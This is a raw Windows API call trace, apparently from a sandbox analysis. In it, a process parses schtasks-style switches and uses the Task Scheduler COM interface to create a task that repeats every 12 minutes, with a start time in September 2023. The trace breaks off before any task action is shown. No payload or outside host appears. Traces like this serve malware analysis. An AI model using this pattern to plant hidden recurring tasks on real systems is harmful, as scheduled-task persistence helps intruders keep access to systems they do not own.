[0128.745] lstrlenW (lpString="mo") returned 2 [0128.745] lstrlenW (lpString="mo") returned 2 [0128.745] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.745] lstrlenW (lpString="f") returned 1 [0128.745] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.745] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|mo|") returned 4 [0128.746] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|f|") returned 3 [0128.746] lstrlenW (lpString="|mo|") returned 4 [0128.746] lstrlenW (lpString="|f|") returned 3 [0128.746] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0128.746] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.746] lstrlenW (lpString="d") returned 1 [0128.746] lstrlenW (lpString="d") returned 1 [0128.746] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.746] lstrlenW (lpString="f") returned 1 [0128.746] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.746] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|d|") returned 3 [0128.746] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|f|") returned 3 [0128.746] lstrlenW (lpString="|d|") returned 3 [0128.746] lstrlenW (lpString="|f|") returned 3 [0128.746] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0128.746] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.746] lstrlenW (lpString="m") returned 1 [0128.746] lstrlenW (lpString="m") returned 1 [0128.746] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.746] lstrlenW (lpString="f") returned 1 [0128.746] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.746] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|m|") returned 3 [0128.747] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|f|") returned 3 [0128.747] lstrlenW (lpString="|m|") returned 3 [0128.747] lstrlenW (lpString="|f|") returned 3 [0128.747] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0128.747] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.747] lstrlenW (lpString="i") returned 1 [0128.747] lstrlenW (lpString="i") returned 1 [0128.747] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.747] lstrlenW (lpString="f") returned 1 [0128.747] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.747] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|i|") returned 3 [0128.747] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|f|") returned 3 [0128.747] lstrlenW (lpString="|i|") returned 3 [0128.747] lstrlenW (lpString="|f|") returned 3 [0128.747] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0128.747] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.747] lstrlenW (lpString="tn") returned 2 [0128.747] lstrlenW (lpString="tn") returned 2 [0128.748] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.748] lstrlenW (lpString="f") returned 1 [0128.748] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.748] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|tn|") returned 4 [0128.748] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|f|") returned 3 [0128.748] lstrlenW (lpString="|tn|") returned 4 [0128.748] lstrlenW (lpString="|f|") returned 3 [0128.748] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0128.748] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.748] lstrlenW (lpString="tr") returned 2 [0128.748] lstrlenW (lpString="tr") returned 2 [0128.748] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.748] lstrlenW (lpString="f") returned 1 [0128.748] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.748] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|tr|") returned 4 [0128.748] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|f|") returned 3 [0128.748] lstrlenW (lpString="|tr|") returned 4 [0128.748] lstrlenW (lpString="|f|") returned 3 [0128.748] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0128.748] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.749] lstrlenW (lpString="st") returned 2 [0128.749] lstrlenW (lpString="st") returned 2 [0128.749] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.749] lstrlenW (lpString="f") returned 1 [0128.749] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.749] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|st|") returned 4 [0128.749] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|f|") returned 3 [0128.749] lstrlenW (lpString="|st|") returned 4 [0128.749] lstrlenW (lpString="|f|") returned 3 [0128.749] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0128.749] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.749] lstrlenW (lpString="sd") returned 2 [0128.749] lstrlenW (lpString="sd") returned 2 [0128.749] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.749] lstrlenW (lpString="f") returned 1 [0128.749] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.749] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|sd|") returned 4 [0128.749] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|f|") returned 3 [0128.749] lstrlenW (lpString="|sd|") returned 4 [0128.749] lstrlenW (lpString="|f|") returned 3 [0128.749] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0128.749] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.750] lstrlenW (lpString="ed") returned 2 [0128.750] lstrlenW (lpString="ed") returned 2 [0128.750] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.750] lstrlenW (lpString="f") returned 1 [0128.750] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.750] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|ed|") returned 4 [0128.750] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|f|") returned 3 [0128.750] lstrlenW (lpString="|ed|") returned 4 [0128.750] lstrlenW (lpString="|f|") returned 3 [0128.750] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0128.750] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.750] lstrlenW (lpString="it") returned 2 [0128.750] lstrlenW (lpString="it") returned 2 [0128.750] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.750] lstrlenW (lpString="f") returned 1 [0128.750] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.750] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|it|") returned 4 [0128.750] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|f|") returned 3 [0128.750] lstrlenW (lpString="|it|") returned 4 [0128.750] lstrlenW (lpString="|f|") returned 3 [0128.750] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0128.750] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.751] lstrlenW (lpString="et") returned 2 [0128.751] lstrlenW (lpString="et") returned 2 [0128.751] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.751] lstrlenW (lpString="f") returned 1 [0128.751] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.751] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|et|") returned 4 [0128.751] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|f|") returned 3 [0128.751] lstrlenW (lpString="|et|") returned 4 [0128.751] lstrlenW (lpString="|f|") returned 3 [0128.751] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0128.751] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.751] lstrlenW (lpString="k") returned 1 [0128.751] lstrlenW (lpString="k") returned 1 [0128.751] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.751] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.751] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|k|") returned 3 [0128.751] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|f|") returned 3 [0128.751] lstrlenW (lpString="|k|") returned 3 [0128.751] lstrlenW (lpString="|f|") returned 3 [0128.751] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0128.752] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.752] lstrlenW (lpString="du") returned 2 [0128.752] lstrlenW (lpString="du") returned 2 [0128.752] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.752] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.752] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|du|") returned 4 [0128.752] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|f|") returned 3 [0128.752] lstrlenW (lpString="|du|") returned 4 [0128.752] lstrlenW (lpString="|f|") returned 3 [0128.752] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0128.752] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.752] lstrlenW (lpString="ri") returned 2 [0128.752] lstrlenW (lpString="ri") returned 2 [0128.752] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.752] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.752] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|ri|") returned 4 [0128.752] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|f|") returned 3 [0128.752] lstrlenW (lpString="|ri|") returned 4 [0128.752] lstrlenW (lpString="|f|") returned 3 [0128.752] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0128.752] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.752] lstrlenW (lpString="z") returned 1 [0128.753] lstrlenW (lpString="z") returned 1 [0128.753] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.753] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.753] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|z|") returned 3 [0128.753] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|f|") returned 3 [0128.753] lstrlenW (lpString="|z|") returned 3 [0128.753] lstrlenW (lpString="|f|") returned 3 [0128.753] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0128.753] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.753] lstrlenW (lpString="f") returned 1 [0128.753] lstrlenW (lpString="f") returned 1 [0128.753] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.753] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.753] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|f|") returned 3 [0128.753] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|f|") returned 3 [0128.753] lstrlenW (lpString="|f|") returned 3 [0128.753] lstrlenW (lpString="|f|") returned 3 [0128.753] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0128.753] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.753] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.753] GetProcessHeap () returned 0x1abb7a10000 [0128.753] RtlAllocateHeap (HeapHandle=0x1abb7a10000, Flags=0xc, Size=0x20) returned 0x1abb7a1b940 [0128.753] _memicmp (_Buf1=0x1abb7a14830, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.754] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x1abb7a1bb90, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0128.754] lstrlenW (lpString="MINUTE") returned 6 [0128.754] GetProcessHeap () returned 0x1abb7a10000 [0128.754] RtlAllocateHeap (HeapHandle=0x1abb7a10000, Flags=0xc, Size=0xe) returned 0x1abb7a1a970 [0128.754] GetThreadLocale () returned 0x409 [0128.754] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="MINUTE", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 2 [0128.754] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.754] GetProcessHeap () returned 0x1abb7a10000 [0128.754] RtlAllocateHeap (HeapHandle=0x1abb7a10000, Flags=0xc, Size=0x1fc) returned 0x1abb7a1acd0 [0128.754] GetProcessHeap () returned 0x1abb7a10000 [0128.754] RtlAllocateHeap (HeapHandle=0x1abb7a10000, Flags=0xc, Size=0x20) returned 0x1abb7a1b760 [0128.754] _memicmp (_Buf1=0x1abb7a14830, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.754] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x1abb7a1bb90, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0128.754] lstrlenW (lpString="First") returned 5 [0128.754] GetProcessHeap () returned 0x1abb7a10000 [0128.755] RtlAllocateHeap (HeapHandle=0x1abb7a10000, Flags=0xc, Size=0xc) returned 0x1abb7a1ab90 [0128.755] GetProcessHeap () returned 0x1abb7a10000 [0128.755] RtlAllocateHeap (HeapHandle=0x1abb7a10000, Flags=0xc, Size=0x20) returned 0x1abb7a1b3d0 [0128.755] _memicmp (_Buf1=0x1abb7a14830, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.755] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x1abb7a1bb90, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0128.755] lstrlenW (lpString="Second") returned 6 [0128.755] GetProcessHeap () returned 0x1abb7a10000 [0128.755] RtlAllocateHeap (HeapHandle=0x1abb7a10000, Flags=0xc, Size=0xe) returned 0x1abb7a1a950 [0128.755] GetProcessHeap () returned 0x1abb7a10000 [0128.755] RtlAllocateHeap (HeapHandle=0x1abb7a10000, Flags=0xc, Size=0x20) returned 0x1abb7a1b6d0 [0128.755] _memicmp (_Buf1=0x1abb7a14830, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.755] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x1abb7a1bb90, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0128.755] lstrlenW (lpString="Third") returned 5 [0128.755] GetProcessHeap () returned 0x1abb7a10000 [0128.755] RtlAllocateHeap (HeapHandle=0x1abb7a10000, Flags=0xc, Size=0xc) returned 0x1abb7a1aaf0 [0128.755] GetProcessHeap () returned 0x1abb7a10000 [0128.755] RtlAllocateHeap (HeapHandle=0x1abb7a10000, Flags=0xc, Size=0x20) returned 0x1abb7a1bb20 [0128.755] _memicmp (_Buf1=0x1abb7a14830, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.755] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x1abb7a1bb90, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0128.755] lstrlenW (lpString="Fourth") returned 6 [0128.755] GetProcessHeap () returned 0x1abb7a10000 [0128.755] RtlAllocateHeap (HeapHandle=0x1abb7a10000, Flags=0xc, Size=0xe) returned 0x1abb7a1ac70 [0128.755] GetProcessHeap () returned 0x1abb7a10000 [0128.756] RtlAllocateHeap (HeapHandle=0x1abb7a10000, Flags=0xc, Size=0x20) returned 0x1abb7a1b520 [0128.756] _memicmp (_Buf1=0x1abb7a14830, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.756] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x1abb7a1bb90, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0128.756] lstrlenW (lpString="Last") returned 4 [0128.756] GetProcessHeap () returned 0x1abb7a10000 [0128.756] RtlAllocateHeap (HeapHandle=0x1abb7a10000, Flags=0xc, Size=0xa) returned 0x1abb7a1aa10 [0128.756] lstrlenW (lpString="12") returned 2 [0128.756] _wtol (_String="12") returned 12 [0128.756] GetProcessHeap () returned 0x1abb7a10000 [0128.759] RtlAllocateHeap (HeapHandle=0x1abb7a10000, Flags=0xc, Size=0x20) returned 0x1abb7a1ba90 [0128.759] _memicmp (_Buf1=0x1abb7a14830, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.760] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x1abb7a1bb90, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0128.760] lstrlenW (lpString="First") returned 5 [0128.760] GetProcessHeap () returned 0x1abb7a10000 [0128.760] RtlAllocateHeap (HeapHandle=0x1abb7a10000, Flags=0xc, Size=0xc) returned 0x1abb7a1a910 [0128.760] _memicmp (_Buf1=0x1abb7a14830, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.760] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x1abb7a1bb90, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0128.760] lstrlenW (lpString="Second") returned 6 [0128.760] GetProcessHeap () returned 0x1abb7a10000 [0128.760] RtlAllocateHeap (HeapHandle=0x1abb7a10000, Flags=0xc, Size=0xe) returned 0x1abb7a1ac90 [0128.760] _memicmp (_Buf1=0x1abb7a14830, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.760] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x1abb7a1bb90, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0128.760] lstrlenW (lpString="Third") returned 5 [0128.760] _memicmp (_Buf1=0x1abb7a14830, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.760] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x1abb7a1bb90, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0128.760] lstrlenW (lpString="Fourth") returned 6 [0128.760] _memicmp (_Buf1=0x1abb7a14830, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.760] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x1abb7a1bb90, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0128.760] lstrlenW (lpString="Last") returned 4 [0128.761] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x1adf4cc340, cchData=128 | out: lpLCData="0") returned 2 [0128.762] _memicmp (_Buf1=0x1abb7a14830, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.762] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x1abb7a1bb90, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0128.762] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0128.762] GetProcessHeap () returned 0x1abb7a10000 [0128.762] GetProcessHeap () returned 0x1abb7a10000 [0128.762] HeapValidate (hHeap=0x1abb7a10000, dwFlags=0x0, lpMem=0x1abb7a1ab90) returned 1 [0128.762] GetProcessHeap () returned 0x1abb7a10000 [0128.762] RtlSizeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, MemoryPointer=0x1abb7a1ab90) returned 0xc [0128.762] GetProcessHeap () returned 0x1abb7a10000 [0128.762] RtlAllocateHeap (HeapHandle=0x1abb7a10000, Flags=0xc, Size=0x16) returned 0x1abb7a1ab30 [0128.762] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x1adf4cc360, cchData=128 | out: lpLCData="0") returned 2 [0128.762] _memicmp (_Buf1=0x1abb7a14830, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.762] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x1abb7a1bb90, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0128.762] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0128.762] GetProcessHeap () returned 0x1abb7a10000 [0128.762] GetProcessHeap () returned 0x1abb7a10000 [0128.762] HeapValidate (hHeap=0x1abb7a10000, dwFlags=0x0, lpMem=0x1abb7a1a950) returned 1 [0128.762] GetProcessHeap () returned 0x1abb7a10000 [0128.762] RtlSizeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, MemoryPointer=0x1abb7a1a950) returned 0xe [0128.763] GetProcessHeap () returned 0x1abb7a10000 [0128.763] RtlAllocateHeap (HeapHandle=0x1abb7a10000, Flags=0xc, Size=0x16) returned 0x1abb7a1aa70 [0128.763] GetLocalTime (in: lpSystemTime=0x1adf4cc598 | out: lpSystemTime=0x1adf4cc598*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0xe, wSecond=0x31, wMilliseconds=0x390)) [0128.763] lstrlenW (lpString="") returned 0 [0128.763] GetLocalTime (in: lpSystemTime=0x1adf4ccf88 | out: lpSystemTime=0x1adf4ccf88*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0xe, wSecond=0x31, wMilliseconds=0x390)) [0128.763] lstrlenW (lpString="") returned 0 [0128.763] lstrlenW (lpString="") returned 0 [0128.763] lstrlenW (lpString="") returned 0 [0128.763] lstrlenW (lpString="") returned 0 [0128.764] lstrlenW (lpString="12") returned 2 [0128.764] _wtol (_String="12") returned 12 [0128.764] lstrlenW (lpString="") returned 0 [0128.764] lstrlenW (lpString="") returned 0 [0128.764] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0128.777] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0129.010] CoCreateInstance (in: rclsid=0x7ff6b6f79e68*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0x7ff6b6f79e78*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x1adf4ccce0 | out: ppv=0x1adf4ccce0*=0x1abb7995700) returned 0x0 [0129.051] TaskScheduler:ITaskService:Connect (This=0x1abb7995700, serverName=0x1adf4ccdd0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0x1adf4ccda0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), domain=0x1adf4ccd80*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x1adf4ccd60*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0)) returned 0x0 [0129.167] TaskScheduler:ITaskService:GetFolder (in: This=0x1abb7995700, Path=0x0, ppFolder=0x1adf4ccec0 | out: ppFolder=0x1adf4ccec0*=0x1abb7995880) returned 0x0 [0129.171] TaskScheduler:ITaskService:NewTask (in: This=0x1abb7995700, flags=0x0, ppDefinition=0x1adf4cce98 | out: ppDefinition=0x1adf4cce98*=0x1abb7995900) returned 0x0 [0129.172] ITaskDefinition:get_Actions (in: This=0x1abb7995900, ppActions=0x1adf4ccde0 | out: ppActions=0x1adf4ccde0*=0x1abb7995990) returned 0x0 [0129.172] IActionCollection:Create (in: This=0x1abb7995990, Type=0, ppAction=0x1adf4cce20 | out: ppAction=0x1adf4cce20*=0x1abb7995da0) returned 0x0 [0129.173] IUnknown:Release (This=0x1abb7995da0) returned 0x1 [0129.173] IUnknown:Release (This=0x1abb7995990) returned 0x1 [0129.173] ITaskDefinition:get_Triggers (in: This=0x1abb7995900, ppTriggers=0x1adf4cc990 | out: ppTriggers=0x1adf4cc990*=0x1abb7995c50) returned 0x0 [0129.173] ITriggerCollection:Create (in: This=0x1abb7995c50, Type=1, ppTrigger=0x1adf4cc978 | out: ppTrigger=0x1adf4cc978*=0x1abb7995e10) returned 0x0 [0129.173] lstrlenW (lpString="12") returned 2 [0129.175] _vsnwprintf (in: _Buffer=0x1adf4cc900, _BufferCount=0xf, _Format="PT%sM", _ArgList=0x1adf4cc8f8 | out: _Buffer="PT12M") returned 5 [0129.175] ITrigger:get_Repetition (in: This=0x1abb7995e10, ppRepeat=0x1adf4cc970 | out: ppRepeat=0x1adf4cc970*=0x1abb7995ea0) returned 0x0 [0129.175] IRepetitionPattern:put_Interval (This=0x1abb7995ea0, Interval="PT12M") returned 0x0 [0129.175] IUnknown:Release (This=0x1abb7995ea0) returned 0x1 [0129.175] _vsnwprintf (in: _Buffer=0x1adf4cc8c0, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0x1adf4cc898 | out: _Buffer="2023-09-19T17:14:00") returned 19 [0129.175] ITrigger:put_StartBoundary (This=0x1abb7995e10, StartBoundary="2023-09-19T17:14:00") returned 0x0 [0129.175] lstrlenW (lpString="") returned 0 [0129.175] 